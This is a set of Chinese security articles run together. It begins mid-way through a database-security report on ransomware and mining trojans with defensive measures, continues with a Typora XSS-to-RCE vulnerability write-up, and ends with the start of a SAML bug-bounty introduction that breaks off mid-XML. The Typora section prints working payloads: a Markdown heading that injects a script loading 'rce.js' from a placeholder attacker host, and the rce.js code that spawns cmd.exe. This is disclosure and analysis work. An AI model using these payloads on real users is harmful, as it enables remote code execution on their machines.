DEV中捆绑了恶意代码(位于Afterconnet.sql文件)，并将其以破解版或绿色版的形式发布。恶意代码的攻击过程如上图所示。当用户连接数据库时，如果具有dba权限，工具会自动执行Afterconnet.sql中的恶意代码在用户的数据库中创建多个存储器和触发器，同时会判断数据库的创建时间。如果创建时间大于等于1200天，那么数据库重启后会触发病毒触发器，加密并删除sys.tab$，导致用户无法访问数据库中所有的数据库对象集合（schema），
出现“你的数据库已经被SQL RUSH
Team锁死，请发送5个比特币到XXX….”等信息，还会设置定时任务，如果用户没有在规定期限内交付赎金，将会删除数据库中的所有表。
这种手术刀式的攻击方法目的性极强，通过判断数据库的创建时间来筛选有价值的目标。这不仅能明确攻击目标，还可以在一定程度上还能隐藏自己，具有极大的破坏力。
数据库勒索攻击应对措施
面对越来越多的勒索攻击，寻找行之有效的应对措施显得迫在眉睫。通过对勒索攻击分析，我们可以发现一次成功的攻击取决于两个方面，一是数据库系统自身的安全因素，二是攻击者的技术手段，两者相结合才能实施一次成功的攻击。对此我们可以从预先防护、定期检查、数据备份三方面入手，建立简单有效的安全保障措施。
即：构建预先防护+定期安全探查+数据定期备份的三重安全保障。
预先防护
预先防护的目的在于防范攻击者的恶意行为，主要通过对SQL语句进行语法分析来实现，常见产品是数据库防火墙。这就要求数据库防火墙具备能够读懂SQL语句，能够对数据库进行加密解密的能力。
加解密数据库是为了获得明文的SQL语句。在使用过程中数据库与第三方工具之间往往以密文的形式传输数据包，如果不对其进行解密，就无法获得原始的SQL语句，那么进行语法分析更无从谈起。数据库的加密过程可以通过数据库提供的函数完成，但解密方法数据库并不一定提供需要产品掌握破解密文的能力。
语法分析的目的是判断存储过程中是否存在恶意行为。在unwrap的支撑下数据库防火墙能把所有去向数据库的加密存储过程明文化，通过语法分析器对sql语句进行分析，判断是否存在恶意行为。数据库防火墙的sql语法分析器不能单纯的就单句sql进行分析，而是要根据上下文环境对sql行为进行分析。当整个sql语句包中存在命中安全规则的多个必要点时，则可以判断该语句包存在恶意行为，会主动阻断该语句包，并向相关人员进行危险告警，形成有效的针对勒索攻击的主动防护。
定期安全探查
定期安全检查的意义在于查漏补缺，避免出现漏网之鱼。虽然主动防御能够阻挡大部分攻击，但是由于攻击手段的变化、产品性能等原因难免会有所纰漏，而定期进行安全检查就是为了弥补主动防御在细节上的不足。通过安全检查，将潜伏的勒索病毒，勒索攻击产生的触发器、存储过程统统清除，避免安全隐患。
数据定期备份
数据备份是数据安全的最后一道保障，因此务必要对关键数据定期备份。只要有备份的数据的存在，即使出现最坏的情况防御措施完全失效数据被完全加密，也可以通过备份数据进行找回，尽量避免丢失数据。
**数据库挖矿木马攻击分析**
虽然目前数据库勒索攻击仍是影响数据库安全的首要威胁，但是随着安全形势的变化，挖矿木马隐隐呈现出赶超趋势。作为一种新的攻击手段，挖矿木马不像勒索病毒一般直接攻击数据，而是潜伏在生产服务器中，长期窃取系统资源。通过传播挖矿木马，黑客组建了一个大规模的僵尸网络，形成了一个庞大的计算集群，利用窃取的硬件资源进行挖矿，从而获获取非法收益。
目前黑客所挖的数字货币以门罗币为主。一方面这类数字货币无法追踪交易记录，有关部门无法根据货币流向追踪攻击者的身份，从而为攻击者隐藏身份提供了便利；另一方面由于采用了CryptoNight算法，使得这类数字货币可以用CPU进行挖矿，这意味着绝大多数服务器都可以用来挖矿，因而更受黑客青睐。
据统计，目前全球受挖矿木马影响的机器已超过3千万台，黑客仅通过门罗币获取的收益就在2亿美元以上，由此可见挖矿木马对用户造成了巨大的损失，如何对其进行有效防御成为了信息系统管理员必须面对的问题。对此我们必须了解挖矿木马的攻击手段，剖析其攻击原理，才能找到行之有效的应对方法。
挖矿木马常见攻击手段
针对不同类型的用户，黑客采用的攻击方式有所不同。对于个人用户，主要是通过互联网传播挖矿木马，常见的有网页挂马、游戏外挂等方式。比如著名的挖矿木马“tlMiner”，它就是潜藏在游戏外挂中进行传播，利用PC机进行挖矿。在进行挖矿的同时还会进行自我保护，当CPU使用率超过50%或者运行大型软件时会暂停挖矿，从而避免被用户察觉。目前该木马背后的犯罪团伙已被警方逮捕，截至案发时累计控制电脑主机389万台、挖矿主机100多万台，非法获利1500余万元。
对于企业级用户，入侵者主要是通过Web进行攻击，具体手段大致可分成三类：一类是针对Web应用进行攻击，主要是利用Weblogic、Apache、Dupal等前端应用存在的漏洞。第二类是攻击Web中的数据库，利用数据库进行提权，为后续攻击做好准备。第三类是直接攻击操作系统，获取管理员权限。比如著名的挖矿木马“PhotoMiner”，就是通过直接攻击服务器的方式进行传播。自2016年发现至今，已累计挖取门罗币8万枚以上，使黑客累计获得了近9千万人民币的收益。由此可见挖矿行为能为黑客带来巨大收益，因此挖矿木马攻击深受黑客青睐。
其实无论采用哪种手段，黑客都是为了窃取受害者的硬件资源搭建挖矿集群，在用户不知情的情况下进行非法挖矿。由于挖矿需要进行大量复杂的运算，因此会使硬件设备处于高负荷的运行状态，不仅会影响用户正常使用，还会严重影响硬件使用寿命导致硬件损坏。对于企业级用户，挖矿木马在影响业务系统正常运行的同时，更多的是带来了潜在的安全隐患，使得企业用户完全暴露在黑客攻击的威胁之下，随时面临着被进一步攻击的风险。因此提升信息系统安全性，保障数据安全已经刻不容缓。
针对数据库的挖矿攻击分析
一般情况下，企业级用户的服务器具有更加适合大规模运算的CPU、更大容量的内存，而且处于24小时稳定运行的状态。对于黑客而言，这意味着可以长期挖矿不断获得收益。因此通常情况下企业级用户是黑客进行挖矿木马攻击的首选。
而之所以会出现针对数据库服务器的攻击，主要有两个原因。一是黑客进行攻击时，大多以前端应用服务器(如Weblogic、Jboss等)为突破口，而用户环境中存在应用服务器的同时往往也会存在数据库。所以当攻击Web失败时，就可以利用数据库发起攻击，此时的数据库相当于一个替罪羊。二是黑客直接针对数据库进行弱口令爆破，这种情况在云环境下较为常见。从目前的情况来看，针对数据库的挖矿木马攻击过程与勒索攻击类似，为了便于研究，将其概括为
3个步骤，如下图所示。
图7 数据库挖矿木马攻击流程示意图
第一步，黑客入侵打开缺口。黑客通过弱口令爆破或其他漏洞攻击数据库，利用数据库进行提权，打开通向内网的缺口，为后续攻击做好准备。
第二步，下载木马开始攻击。在第一步成功后，黑客就能够利用Shell、CMD、PowerShell等系统内置工具与C&C服务器通信，从C&C上下载恶意工具。不同的黑客使用的恶意工具有所不同。一般会有挖矿木马，用于控制机器进行挖矿；还会有嗅探工具和漏洞利用工具，方便木马在内网传播。为了避免被杀毒软件查杀，有的木马会进行伪装，比如伪装成其他格式的文件，或者将恶意代码藏在图片中，更有甚者采用了“无文件攻击”技术，通过驻留内存的方式来隐藏自身。
第三步，内网扩散横向移动。利用第二步中下载的恶意工具，对内网中的其他机器进行横向移动攻击，控制更多机器。攻击成功后，会从数据库服务器向目标机器复制恶意工具，从而控制机器进行挖矿。据了解，在目前流行的漏洞工具中，使用最多的是出现了很长时间的“永恒之蓝”漏洞攻击武器。
经过上述操作后，攻击者就完成了对内网环境的入侵，形成了一个初具规模的僵尸网络。为了能够长期挖矿，有的挖矿木马还会监视系统进程，一旦发现存在其他木马的相关进程就将其杀死，确保独占系统资源。
对攻击者来说，成功入侵一台数据库服务器能带来诸多便利。一是数据库服务器硬件性能好，挖矿效率高。数据库服务器往往承载了核心系统的运行，与其他服务器相比硬件配置更加突出，一般是整个业务系统中配置最好的设备之一。强悍的硬件配置意味着强大的计算能力，因此数据库服务器更受黑客青睐。二是数据库服务器易于攻击。现在仍有大量的数据库存在各种安全漏洞，黑客攻击起来更加方便。三是利用数据库便于提权。在SQL
Server、MySQL、PostgreSQL等数据库中都可以通过SQL语句执行系统Shell，攻击者提权更加方便。四是黑客可以直接接触敏感数据。在数据库服务器中，可能会存有各个服务器的账号密码、公司员工内部资料、财务信息等机密信息。黑客可以利用它们扩大攻击范围入侵其他机器，还可以倒卖敏感信息造成数据泄露，甚至实施数据勒索，造成恶劣影响。
因此，要想保障信息系统的数据安全，保护数据库服务器就成为了重中之重。一旦被黑客接触核心数据，信息系统的数据安全也就无从谈起。加强防御措施，保护数据库的安全性已势在必行。
数据库挖矿木马的应对措施
数据库挖矿木马的存在会不断的窃取服务器的硬件资源，既会减少硬件寿命，也会影响业务系统的正常运行。潜藏的木马犹如定时炸弹一般为信息系统带来了安全隐患，使得用户的信息系统时刻暴露在黑客的威胁之下。对此我们提出了一些应对方法，希望能有所帮助。
对于安全问题，首先要考虑如何防御，挖矿木马也是如此。从攻击流程来看，挖矿木马在入侵数据库时仍然以弱口令爆破和漏洞攻击为主，因此可以从这两个方面进行应对。弱口令问题依赖于管理员的安全意识，关键在于设置满足安全要求的密码，并定期修改。还可以借助数据库防火墙，及时阻止密码爆破行为并进行预警。对于数据库漏洞，一般情况下厂商都会定期修复并发布漏洞补丁，因此需要及时更新软件补丁。此外，如果不确定是否存在其他未修复的漏洞，可以借助安全厂商的漏洞扫描工具进行检查。扫描工具的漏洞库越全面，扫描效果越好。
在日常维护中，需要将定期杀毒与系统监控相结合。杀毒软件是处理木马病毒等恶意软件必不可少的手段，可以通过定期杀毒的方式清除潜藏的恶意软件。然而由于恶意软件为了保护自身也采取了各种隐藏手段避免被安全软件查杀，此时就需要管理员对系统资源进行监控。一方面要监控系统的运行情况，观察CPU、内存等硬件的使用率，判断是否存在陌生进程对系统资源异常占用的情况。另一方面要观察系统日志、数据库日志，检查系统中是否存在陌生的计划任务，挖矿木马往往会利用计划任务确保自身时刻运行。
当发现数据库服务器感染了挖矿木马时，最简单、彻底的解决方式是备份数据重装系统。这种方法虽然费时费力，但是可以彻底清除木马，而且对操作人员的技术水平也没有太高的要求，操作起来较为方便。当然还可以尝试对木马定点清除，通过系统进程对其进行定位，再直接删除文件将其清理。这种方法对管理员技术水平要求较高，而且删除木马后很有可能被重复感染，因此建议交由专业的安全团队处理。
### 数据库系统漏洞的统计分析
信息安全的核心是数据安全。随着网络安全形势变得日趋严峻，各种攻击手段层出不穷，数据库安全问题也日益突出。而数据库漏洞作为数据库自身的产品缺陷，一旦被攻击者利用，将会造成严重影响。一方面，通过数据库漏洞发起的攻击会使攻击者直接接触核心数据，从而导致数据资产被恶意篡改、泄露，造成数据资产损失；另一方面，由于数据库系统往往位于IT架构核心，因此攻击者在破坏数据库系统后，还能以其为跳板向局域网中的其他设备发起攻击，从而扩大攻击范围，造成系统性风险。由于挖掘数据库漏洞需要极高的技术水平，因此，目前能够成功发现并提交数据库漏洞的技术团队以国外为主，国内团队屈指可数。到目前为止，安华金和在国内外漏洞平台上累计提交了30个数据库漏洞，为国内数据库安全研究做出了一定的贡献。与此同时，随着国产数据库的技术水平不断提高，应用范围更加广泛，在CNNVD提交的国产数据库漏洞也在逐步增加。这表明国产数据库正逐渐受到国内数据库安全研究团队的关注，各方面也愈加重视国产数据库的安全性。这有助于促进国内数据库安全水平建设，提升国产数据库的安全性。
数据库漏洞源自数据库本身，是由于编码不规范、软件设计缺陷以及编程语言的局限性等原因造成的产品缺陷，属于软件漏洞的一种。利用数据库漏洞，可以突破系统的安全策略，从而对数据库、数据库所在系统，甚至数据库所在的局域网造成破坏。此外，数据库漏洞具有一定的隐蔽性，需要经过用户的深度使用或者安全团队的深入研究才会被暴露出来，容易形成0Day漏洞造成安全隐患。因此，为了提高数据库的安全性，防护者一方面需要及时更新软件补丁，减少数据库自身的安全风险；另一方面，与其他安全手段相结合，进行合理的安全防御，提升攻击者的入侵难度，从而提高数据库系统的安全性。
**按威胁类型分布情况分析**
截止2019年4月，CVE发布的被确认的国际主流数据库漏洞共计81个，其中Oracle 9个、MySQL 65个、Postgresql 1个、IBM DB2
4个。其中Oracle被发现的9个漏洞中含1个超危漏洞，5个高危漏洞；MySQL数据库的65个漏洞中含有2个高危漏洞，62个中危漏洞；Postgresql数据库发现1个高危漏洞；DB2数据库发现4个高危漏洞。如图8所示。
图8 2019年上半年各主流数据库的漏洞分布情况
国产数据库漏洞信息会由国内的漏洞平台认证和发布。根据来自CNNVD和CNVD的漏洞信息表明，截止2019年5月共发现2个国产数据库漏洞，均来自达梦数据库，包括1个高危漏洞和1个中危漏洞。
根据对核心数据的机密性、完整性和可用性的影响程度，数据库漏洞可被分为3大类：高危漏洞、中危漏洞和低危漏洞。就严重性而言，高危漏洞会对数据库系统造成严重影响，需及时处理。而中低危漏洞虽然在当前阶段的严重性不及高危漏洞，但是也可能因为技术革新或攻击方式变化而变成高危漏洞，因此同样值得我们关注。，
截止至2019年5月，在被确认的81个漏洞中，包括超危漏洞1个，高危漏洞13个，中危漏洞65个，低危漏洞2个。从总体情况来看，超危漏洞占漏洞总数的1%，高危漏洞占总数的16%，中危漏洞数量最多占到了81%、低威胁漏洞占2%。如图9所示。据统计，超高危漏洞主要集中在Oracle数据库和DB2数据库中，此外MySQL、PostgreSQL、达梦等数据库也有高危漏洞出现。
图9 2019上半年各主流数据库漏洞的危害等级分布
即2019年上半年出现的数据库漏洞以中危漏洞为主，高危漏洞虽然数量不多，但在各个数据库厂商中仍广泛存在。因此数据库用户需要引起重视，及时对自己的数据库系统进行安全加固，防止数据库安全问题的发生。
**按受影响组件属性分类情况分析**
2019年上半年被发现漏洞最多的数据库是MySQL,高危漏洞最多的数据库是Oracle和DB2。而PostgreSQL、达梦漏洞总数不多，但是也存在高危漏洞。从受影响组件的角度来看，各数据库情况如下：
MySQL数据库因其代码的开源性，并且用户数量较多，因而更容易被黑客攻击，进而曝出较多漏洞，并且以拒绝服务型漏洞为主。
Oracle数据库除了高危漏洞外甚至还存在1个超危漏洞。目前发现的漏洞主要集中于Oracele的Core
RDBMS组件。作为Oracle数据库的最核心组件，Core
RDBMS保证了数据库的正常运行。在Windows环境下，通常以Oracle.exe服务存在，在Linux环境下，则以多个进程的形式出现。因此，当CoreRDBMS中出现漏洞时，问题极其严重。
IBM DB2可以运行在Linux、UNIX和Windows平台。此次发现的漏洞，主要位于DB2 Connect
Server组件，以缓冲区溢出为主。本地攻击者可利用该漏洞在系统上以root用户身份执行任意代码。因此虽然漏洞数据量不多，但是威胁等级较高。
PostgreSQL、达梦等数据库中存在少量高危漏洞，因此仍需警惕。值得注意的是，在传统的内网环境下，大部分漏洞无法被直接利用。而由于云环境具备一定的开放性，导致数据库系统的隐蔽性被降低，从而可能给攻击者利用漏洞提供了便利。MySQL在云平台中占据非常多的份额，云平台的用户和云服务商需要对其进行重点防护。
**按漏洞的攻击途径分类情况分析**
按照漏洞的攻击途径，数据库漏洞可被划分为两类：远程服务器漏洞和本地漏洞。
远程服务器漏洞是指位于提供网络服务的进程中的漏洞。攻击者可以通过网络在另一台电脑上直接进行攻击，而无需用户进行任何操作。
本地漏洞是指必须登录到安装数据库软件的计算机上才能利用的漏洞。该类漏洞因利用条件苛刻，威胁也最小。
图10 各主流数据库漏洞的攻击途径分布
如图10所示，截至2019年5月底所被发现的数据库漏洞中，本地漏洞占11%，远程漏洞占89%。鉴于本地攻击要求较高，远程攻击较为灵活，因此对于数据库系统而言，远程漏洞较多意味着更容易受到恶意攻击，数据库系统会面临较高的风险。
在远程漏洞中，从攻击方式来看，常见的有拒绝服务、缓冲区溢出、非法访问等。其中，拒绝服务类漏洞占78%，主要出现在MySQL数据库中；缓冲区溢出类漏洞占3%，以DB2数据库为主；非法访问类漏洞出现在Oracle和MySQL数据库中，占5%，如图11所示。对于这三类漏洞，最好的解决方法是及时更新软件补丁，从根本上防止漏洞的出现。
图11 数据库漏洞攻击发生的网络架构分布
**从数据库漏洞分布谈防护建议**
目前数据库安全漏洞主要集中在拒绝服务、远程代码执行等方面，缓冲区溢出漏洞虽然数量很少，但仍然存在。通过对漏洞分析可以发现，拒绝服务类漏洞大多与用户权限有关，攻击者需要获得较高的用户权限，才能触发漏洞形成恶意攻击。而远程代码执行漏洞需要攻击者与数据库系统进行数据交互，对此可通过数据验证进行防范。缓冲区溢出则较为隐蔽，一般不易察觉。
在此情形下，要确保数据库系统的安全性，首先要做到用户权限的合理分配，避免普通用户具有过高的权限，形成安全隐患。其次，要对系统服务进行管控，停止或卸载非必要的服务，降低潜在漏洞存在的可能性；最后，要对数据库系统及时更新升级，防止因存在已知漏洞而造成的安全风险。
### 数据库系统的安全建议
数据库安全发展到现在，权限的控制和输入的限制是永恒的话题。直至今年主流4大数据中依旧被发现了14个高超危漏洞，其中缓冲区溢出漏洞3个。虽然缓冲区溢出和通讯协议破解的漏洞的总数越来越少，但一旦出现将是数据库的噩梦。不法分子可以通过网络在不知道数据库任何账号的情况下对数据库发起攻击，导致数据库服务宕机甚至操作系统被控制。数据库引擎中的越权访问、账号提权、敏感信息泄露侵依旧是漏洞中的主流，基本80%以上的漏洞都属于数据库引擎范畴。在数据库引擎层的漏洞中，今年最常见的漏洞是拒绝服务。大部分引擎层的漏洞想要实施，需要被盗取的数据库账号具备一定的权限。（例如创建存储过程、触发器等）。所以用户可以有针对性的对数据库进行加固。
针对数据库漏洞攻击的数据库加固方式可以采用购买第三方产品。但更重要的是要遵循以下原则：
1\.
用户权限最小化原则。90%的漏洞攻击都是需要账号具备一定的权限。所以请用户配置数据库帐号时，给能满足应用系统使用的最小权限的账号。任何额外的权限都可能是潜在的攻击点
2\.
定期安装数据库厂商提供的漏洞补丁。根据多年经验发现95%以上数据库被黑客入侵。黑客使用的漏洞并不是0day，而是数据库厂商早已发布过，已经有补丁可用的漏洞。即使由于各种原因无法及时打补丁，也请通过虚拟补丁等技术暂时或永久加固数据库。
3\.
安全配置。70%的数据库漏洞能被利用的条件除了一定的权限外，还需要数据库未开启某些安全配置。数据库默认安装下并不会开启所有安全配置。在充分考虑对应用的影响后，尽可能开启数据库自身提供的安全设置将会极大降低被不法分子攻击的成功率。例如著名的TNS投毒漏洞，其实开启TNS密码就可以简单杜绝。
4\.
数据库功能最小化原则。数据库本身为了适应足够多的场景，设计了各种各样的功能组件。但对于用户来说，大部分功能组件根本不会使用。建议在综合应用和运维后，划定一个使用组件的最小范围。删除数据库中不用的组件。减少数据库组件可以有效的减少用户面对的风险面。在一定程度可以规避某些特定组件存在的漏洞攻击。
## 三. 结束语
信息技术的不断发展不仅改变了我们的生活，也改变了安全的发展方向。回顾安华金和近年来的研究情况，我们发现数据库安全问题虽然无法杜绝，但整体情况在逐渐好转。数据库漏洞的整体数量呈现下降趋势，数据库的安全性有所提升。究其原因主要是以下几点：一是各行各业对信息安全的认识水平在逐渐提高，用户的安全意识在逐步增强；二是各大数据库厂商更加注意安全规范，从源头减少了数据库漏洞的出现；三是安全研究人员的关注，在专业安全研究员的协助下，数据库安全研究水平不断提升，漏洞发掘能力有所提高，减少了潜在的安全风险。
在利益的驱使下，网络攻击不会消失，攻防对抗仍将继续出现。对抗的舞台也从内网走向了外网，从本地走向了云端，数据库安全也将不断面临新的风险和挑战。数据库安全研究任重而道远。
相信本文的这些观点对大家预测未来的数据库攻防的形式，以及进一步完善企业及组织的解决方案是有价值的。今年请特别注意MySQL数据库的安全防护工作。
## 附录
### 联系作者
陈君东：安华金和安全服务工程师，专注研究数据库的攻防技术。
Email：[[email protected]](mailto:[email protected])
李墨：安华金和市场部总监，负责公司整体品牌、产品及行业推广工作
Email：[[email protected]](mailto:[email protected])
沈雪峰：安华金和网络运营主管。
Email：[[email protected]](mailto:[email protected])
### 关注安华金和
了解更多有关数据库安全信息，请访问：
[官方网站>>数据库安全](http://www.dbsec.cn/a/shujukuanquan/shujukufanghushouduan/shujukuyunxi/2011/0822/50.html)
安华金和官方微博：安华数据 <http://weibo.com/DBSecurity>
安华金和官方微信 搜索公众号 安华金和 | 社区文章 |
# Typora XSS 到 RCE (上)
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
在去年的12月份，我在知乎上看到了一篇名为《[如何在Typora编辑器上实现远程命令执行](https://zhuanlan.zhihu.com/p/51768716)》
的文章，作者发现了 Typora 对`iframe`标签处理不当造成的 XSS 漏洞，而正如文章作者所说：针对Electron应用，大部分时候我们只要找到了
XSS 漏洞，也就约等于完成了命令执行。最终用户只需打开攻击者构造好的恶意文档，就会被攻击。
这篇文章使我感到非常后怕，因为我平时里正是使用 Typora 编写 Markdown 文档，而我身边也有不少朋友同样是 Typora
的忠实用户。因此我决定要深入挖掘一下，看看 Typora
是否还有其他漏洞。于是在陆续结束了期末考试和校内招新赛(Hgame)准备之后，我在两天时间里，也挖到了三个Typora
XSS漏洞，同样它们也可以造成RCE。
Typora官方为此在两天之内连续发布了两个安全更新，截止目前（2019.2.4），还有最后一个漏洞未完成修复。
这里主要分享一下我挖掘到这三个漏洞的过程和漏洞分析。
## 漏洞一：
### 黑盒测试：从输出点入手
如果是使用过 Typora 的师傅应该都知道，Typora 的实时预览模式中，对用户输入的非法(被认为可能造成 XSS 攻击的)`HTML`
标签的处理并不是像其他编辑器那样严格地直接过滤掉，而是会在 HTML编码 后进行安全输出：
那么可不可能存在一个输出点，标签未经编码就直接输出了呢？
我们要寻找的是默认情况下，用户打开文档之后无需任何操作就能看到的输出位置，这样的位置上的 XSS 才是有意义的。那么除了实时预览界面就只剩下了左侧的大纲栏：
Typora 的大纲栏，其实就是自动生成了一个`TOC`
(Typora功能上真的很贴心）,会将各个标题对应的锚点链接逐级排列在左侧边栏。那么我们通过开发者工具对这里的输出进行测试：
我们看到，左侧的大纲栏似乎并没有原样直接输出标题中的内容，而是除去了`script`标签。
那么来看看如果输入的是合法的标签呢？
这里 `<i>` 标签同样被过滤掉了，这说明这个输出点默认只输出文本内容。
那么我们如果把标签以文本、而非 HTML 标签的形式插入进去呢？
我们都知道在 Markdown 语法中，如果我们想表示`<` `>` 这样的 HTML 保留字符，我们就需要在输入时用反斜杠进行转义，于是尝试如下输入：
# \<i\>H1\</i\>
结果：
可以看到在大纲栏中成功插入了HTML标签。
尝试构造 XSS：
# \<script>alert(1)\</script\>
当然，也可以引入外部文件来更方便的实施攻击。值得一提的是，在官方修复上一个XSS的时候，同时也禁用了`require` 函数，限制了通过`require`
引入`child_process` 执行系统命令的方法，不过没关系，我们还有`process` ，那么下面是一个执行系统命令的例子：
# \<script src=<https://hacker>_s_url/rce.js\>\</script\>
//rce.js 's content
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function (a, b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key + '=' + env[key]);
proc.spawn({
file: 'cmd.exe',
args: ['/k netplwiz'],
cwd: null,
windowsVerbatimArguments: false,
detached: false,
envPairs: env_,
stdio: [{
type: 'ignore'
}, {
type: 'ignore'
}, {
type: 'ignore'
}]
});
用户打开文档的效果如下：
### 漏洞分析 ：
漏洞虽然挖到了，但是为了更好的理解，我们还需要分析漏洞的成因，Typora 并不是开源软件，因此我们只能自行还原并阅读代码来定位漏洞：
打开开发者工具的 Source 选项卡，可以看到整个项目的目录结构还是非常清晰的：
`app/window` 下面的 `frame.js`
就是负责`Markdown`解析、页面渲染等主要功能的代码文件，也是我们重点关注的内容。`lib.asar` 文件夹下面则是 Typora
依赖的各种第三方库。
打开`frame.js`并进行格式化，可以看到整个文件超过52000行，对于一款软件而言代码量已经很小了，并且代码未经过混淆、也没有反调试，仅通过
Devtools 我们就可以比较轻松的完成分析和调试。
首先通过类名快速定位到更新大纲栏内容部分的代码：
可以看到在经过`i.output` 这个方法之后，原本转义的字符完成了逃逸，并且作为`HTML`输出在了大纲栏和类名为`.md-toc-inner`
的标签之中(因此在渲染`[TOC]`的时候也会有同样的问题)。那么我们来跟入`i.output` 看一下为什么转义后的字符会逃逸：
`i.output` 方法实际上是一个循环通过正则表达式匹配各种类型的标签、属性，然后对他们分别进行进一步处理的函数：
我们发现我们的输入满足了`this.rules.escape` 的匹配规则：
可以看到在这一步，首先通过正则表达式
/^\\([\\`*{}\[\]()#+\-.!_>$|<~"'&])/
匹配转义后的字符，然后将转义字符对应的值和类型（这里是`escape`）赋给一个新对象，`push` 到数组`b`中，并删除匹配到的字符。
通过如此往复循环，最终当 变量 `e==""` 也就是所有输入都处理结束时，循环停止。最后得到数组`b`的值变为：
随后数组`b`被 传入函数`S`,处理后返回:
我们再跟入函数`S` :
可以看到整个逻辑是将传入的数组`b` 里面的各个对象通过函数`t`逐个处理成字符后再拼接成字符串返回，跟入函数`t`:
可以看到该函数对不同类型的对象会进行不同的处理，值得注意的是类型为`tag`
的对象的处理是直接返回空字符，这就解释了之前我们测试结果中的所有的标签都会被过滤的原因。
而当判断了输入的对象的中的`type` 为 `escape` 时则会直接返回对象的`text` 属性，导致了转义字符的逃逸。就这样，最终`i.output`
方法的返回值，也就是`n` 的值为：
被作为`HTML`输出后，自然就造成了XSS。
### 修复方法：
在上述的函数`t` 中，当判断对象类型为`escape` 时，返回对象`text` 属性的`HTML`编码
## 后记：
该漏洞已经在 v0.9.63 中被修复。下一篇文章我将分享我从源码入手发现的另外两个 XSS 漏洞。
## 参考链接：
<https://zhuanlan.zhihu.com/p/51768716> | 社区文章 |
# 前言
这篇文章是关于Bug Bounty 项目中如何挖掘
SAML（安全断言标记语言）相关漏洞的方法论的第一篇文章。关于挖洞方面，我的优势在于我有很强的CTF经验和网络安全背景，但对于web应用程序安全来说却知之甚少。我发现我掌握的测试web的方法有许多还需要改进，因此这些文章的目的是汇集来自多个来源的信息，丰富自己掌握的web测试方法。我希望任何人都可以通过我这一系列文章学到一项技术，在挖洞的旅途上越挖越远。
# 背景
让我们从开始测试SAML部署所必须了解的核心概念开始。如果您已经熟悉基础知识，可以跳到第二部分或第三部分。
## 安全断言标记语言(SAML)
单点登录(SSO)是一种身份验证服务，允许用户使用一组凭据访问多个应用程序。安全断言标记语言(Security Assertion Markup
Language，SAML)是实现SSO的方法之一。SAML是由结构化信息标准促进组织(OASIS)发布的基于XML的标准。基于Web的多域SSO无疑是应用SAML的最重要的用例。SAML还有一些其他的用例，比如Federated
Identity，但是我们的关注点在于基于Web的SSO上。归根结底，SAML相当于一种对Web应用程序进行身份验证的协议。
在深入讨论SAML时，我们将重点研究SAML v2.0，特别是[SAML v2.0 Web浏览器SSO配置文件](https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf "SAML v2.0
Web浏览器SSO配置文件")，该配置文件定义了如何在Web浏览器中使用SAML。SAMLv2.0自2005年就出现了，深入研究SAMLv2.0对于我们的获得bug赏金大有帮助。
## 形象地解释
我最近重新申请了我家人的护照。幸运的是，SAML和使用护照旅行之间有一个非常容易理解的关系。对于我们这些在美国的人来说，为了获得护照，我们填写了必要的文件，收集相关文件，拍了张照片，买了一张汇款单，把他们整理一下，然后送到政府审批。一旦我们有了护照，我们就可以通过提供护照来向任何人证明我们是谁。
想象一下我们想去德国旅行。我们所需要做的就是在海关出示我们的护照，我们就可以出发了。德国不需要看到我们填写的表格，我们寄来的汇票，或者我们的出生证明。德国也不在乎我们等了两个月才拿到护照，也不在乎我们为了护照跑了邮局四躺。德国人只对护照感兴趣。护照证明了我们的身份。德国对政府有一定程度的信任。他们承认，政府在签发护照时作出了应有的审查工作。
在这个例子中，有三个方面参与了进入德国的过程：德国、美国政府和我们。让我们类比到SAML中。
SAML断言：一条XML消息，其中包含有关用户身份和潜在的其他用户属性的信息。在我们的示例中，护照就是SAML断言。
身份提供商(IDP)：执行身份验证并发出断言的服务。在我们的示例中，美国政府就是IDP
服务提供商(SP)：用户希望访问的Web应用程序。在我们的示例中，德国是SP。他们提供我们感兴趣的服务，即进入该国(可能还有其他与啤酒有关的东西)。
# SAML UNDERNEATH THE HOOD
## SAML身份验证工作流程
下面概述的过程就是所谓的SP——Initiated登录。还有IdP-Initiated。区别特征是身份验证工作流程开始的位置。如果用户从SP开始，则它是SP-Initiated。如果用户从IdP开始，则它是IdP-Initiated。但我们将更多关注于SP-Initiated工作流程。
步骤1-我们尝试访问一些受保护的资源。
步骤2-该资源所在的服务器(服务提供者)不认识我们，因此它生成一个SAML请求发送给身份提供者。
步骤3-在生成SAML请求后，SP将我们重定向到IdP。注意：SAML请求通过浏览器到达IdP。
步骤4-Idp接收SAML请求。
步骤4a(图中未标注)-Idp提供了一些身份验证方法；登录表单或类似的东西。
步骤4b(图中未标注)-为了使Idp验证我们是合法用户，应该允许它访问SAML请求中包含的资源。
步骤5-Idp创建SAML响应。SAML响应包含SP所需的SAML断言。断言通常至少包含以下信息：指示断言来自正确的Idp、指定用户身份的NameID属性以及数字签名。SAML响应也通过我们的浏览器进行传递。
步骤6-Idp将我们重定向到SP的断言消费者服务(ACS)URL。ACS只是SP希望接收SAML断言的URL。
步骤7-ACS验证SAML响应。
步骤8-允许我们访问最初请求的资源。
## SAML请求示例
让我们更仔细地看一下上面概述的步骤2和步骤3。我们将向示例服务提供者请求位于 `https://shibdemo-sp1.test.edu/secure/`的资源(顾名思义，我们通过身份验证才能查看的内容)。
`shibdemo-sp1.test.edu`是用于测试的IDP和SP的本地虚拟化实例，而不是实际站点
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://shibdemo-sp1.test.edu/
Connection: close
Upgrade-Insecure-Requests: 1
SP会生成SAML请求，因为我们未通过身份验证。我们可以在下面看到原始SAML请求。
<?xml version="1.0"?>
<samlp:AuthnRequest
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
AssertionConsumerServiceURL="https://shibdemo-sp1.test.edu/Shibboleth.sso/SAML2/POST"
Destination="https://shibdemo-idp.test.edu/idp/profile/SAML2/Redirect/SSO"
ID="_cdae718238ba9c207a35cc7c70b046a0"
IssueInstant="2019-03-12T20:54:58Z"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Version="2.0">
